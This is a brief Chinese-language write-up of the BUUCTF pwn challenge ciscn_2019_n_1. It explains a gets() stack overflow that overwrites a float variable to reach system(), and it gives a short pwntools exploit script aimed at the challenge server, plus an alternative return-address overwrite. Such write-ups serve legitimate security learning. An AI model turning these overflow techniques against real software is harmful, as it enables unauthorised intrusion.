T4 ciscn_2019_n_1
2023-01-08WP
BUUCTF pwn第四题
0x01
先file,chekcsec——64-bit,开启NX
0x02
IDA中main函数没啥有用的,看到还有一个fun函数
点进去看发现有个gets函数,可能存在栈溢出,同时发现if ( v2 == 11.28125 )时调用system函数,所以想到输入来使v2的值等于11.28125
但是gets读入的时v1而不是v2,所以又想到让v1溢出,使溢出的值为11.28125并让它成为v2的值
于是进去查看v1v2的地址
计算得长度为44h
0x03
exp
from pwn import *
p=remote('node4.buuoj.cn',25907)
payload=b"a"*44+p64(0x41348000)#0x41348000是11.28125的十六进制数
p.sendline(payload)
p.interactive()
直接写11.28125好像没用……
网上看到一篇博客是直接从IDA中找十六进制数的
pwn得flag
还有一种方法就是直接覆盖v1v2,让返回地址指向调用system函数的地址0x4006BE
这就让我有一些疑惑:就这一题来说,开启了NX有没有让题目难度增加呢?